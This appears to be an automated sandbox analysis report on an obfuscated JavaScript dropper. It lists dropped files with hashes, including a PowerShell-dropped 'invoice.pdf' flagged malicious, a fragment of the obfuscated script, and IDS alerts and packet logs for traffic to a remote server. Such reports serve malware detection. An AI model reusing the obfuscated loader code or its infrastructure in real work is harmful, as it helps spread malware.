MD5:	FA6978A9EA472E8ACFF72AFE8CC7CC81
SHA1:	D58155446B67ACF4DA331A977B8EC7BA105C2C4F
SHA-256:	3D0DF2B14FC632520705424D2DA394922D3EDD8C977950656B736352CD5A37E2
SHA-512:	6B16382E6A4B9EECB8E8FB82189C2741511E8CF99C83B3FA52B062165B3B366EE0C11A7F60CE4B08D881B2418234097FA13CCAA9C90B1D7D37BD4D9A56EBA96C
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\90296c96-ae1c-4b0d-980c-00790830af80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvWTlP:r+Tegs661ybxrr/IxkB1mabFhOXZ/fEh
MD5:	C14EBC9A03804BAB863F67F539F142C6
SHA1:	FD44F63771819778149B24DD4B073940F5D95BFA
SHA-256:	A495629FA5E71EE50BB96F9C4CAEAC46E8B44BFC3F910A073348258F63DFAFCE
SHA-512:	8ED832A54A3925914E3BCFC96A3ABFF63A511ADAC79A869AD1569BB175CC1AF84E6C2BD20FA2187A5C3B733625EDE5D95C2172B24ED2F252835689F6D4A0F5A2
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\ec3dc761-d028-4a36-8a38-f7b385faa06e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17396), with CRLF line terminators
Entropy (8bit):	4.903610141818204
TrID:
File name:	51406528193621400.js
File size:	20'934 bytes
MD5:	e2261b974d7116d474df7bcfdfeeab01
SHA1:	b45b504a3b909d79aee131f794cabe41b38e07e4
SHA256:	e37695e619e19c7491ad1e84894bac65e1a6d5aef957b6b516b6c6a52016ae24
SHA512:	3cfc068c03b6250ee491e7b3a8f3c1e420a49e4861b06d705cca6628d2b63f8d474af1dde7f2ae8f0b7130790ef748aa7bf202a04160564ba8db8e01ab38f38a
SSDEEP:	384:FaNYw9sSQjSD8zJJTlENCMboOpA86bpRHeQZ0HePq5gH247EKU:GYw9sSQji8zJJTCzABb14KU
TLSH:	A3925704EA01D4D7DEE864F328C705E96BE498C4CDA742EFB04729C29D6197CB9ED871
File Content Preview:	function xzbrrey(){jlpjywfci=[1031,3079,5127,4103,2055,3072];var upwcrgyce=this[olkhe+ombrli+jsipexmla+nxfvtzxmr+ajqcspb+zjrrhopx+hxhgse+xzqzqpenf](this[qrlae+gsnpblcs+ofutxv+jsipexmla+skhkqir+olkhe+xzqzqpenf][eibjl+jsipexmla+ajqcspb+ombrli+xzqzqpenf+ajqc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:13:49.540208+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49732	193.143.1.205	80	TCP
2025-01-10T17:13:52.888339+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49752	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:13:48.745265007 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:48.750118017 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:48.750233889 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:48.753662109 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:48.760752916 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.539895058 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.539942026 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540019989 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540057898 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540096045 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540133953 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540169954 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540205956 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540208101 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.540208101 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.540208101 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.540261984 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540262938 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.540303946 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.540354013 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.586071014 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.586088896 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.586103916 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.586149931 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.638355970 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.665137053 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665178061 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665205002 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665230989 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665230036 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.665272951 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665292025 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.665296078 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665347099 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.665452003 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665527105 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665550947 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665575027 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665597916 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.665601015 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.665616035 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.666357040 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.666383028 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.666408062 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.666414022 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.666434050 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.666457891 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.666461945 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.666506052 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.667217016 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.667226076 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.667252064 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.667270899 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.672862053 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.672882080 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.672894955 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.672926903 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.672936916 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.672959089 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.716505051 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.757884026 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.757937908 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.757978916 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.758008003 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.790286064 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790365934 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.790373087 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790410995 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790446997 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790461063 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.790483952 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790539026 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.790563107 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790641069 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790687084 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.790695906 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790792942 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790858984 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.790877104 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790914059 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790947914 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.790965080 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.791448116 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.791485071 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.791497946 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.791522980 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.791560888 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.791565895 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.791805983 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.791856050 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.791929007 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.791964054 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792000055 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792006016 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.792033911 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792068958 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792082071 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.792104959 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792151928 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.792892933 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792927980 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792963028 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.792996883 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793031931 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793030024 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.793047905 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.793067932 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793124914 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.793661118 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793754101 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793787003 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793801069 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.793823957 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793858051 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793874979 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.793895006 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793931961 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.793936968 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.794698954 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.794733047 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.794744015 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.794770956 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.794805050 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.794820070 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.794838905 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.794872999 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.794881105 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.794908047 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.794967890 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.795566082 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.795617104 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.795675039 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.844640017 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.844659090 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.844726086 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.882834911 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.882860899 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.882882118 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.882919073 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.883022070 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.883032084 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.883049965 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.883090973 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.883126020 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.915607929 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915623903 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915637016 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915652990 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915744066 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.915744066 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.915894985 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915918112 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915930033 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915942907 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.915963888 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.915992022 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916003942 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916024923 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916038036 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916052103 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916071892 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916095018 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916165113 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916177034 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916189909 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916239023 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916256905 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916291952 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916300058 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916304111 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916317940 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916338921 CET	80	49732	193.143.1.205	192.168.2.10
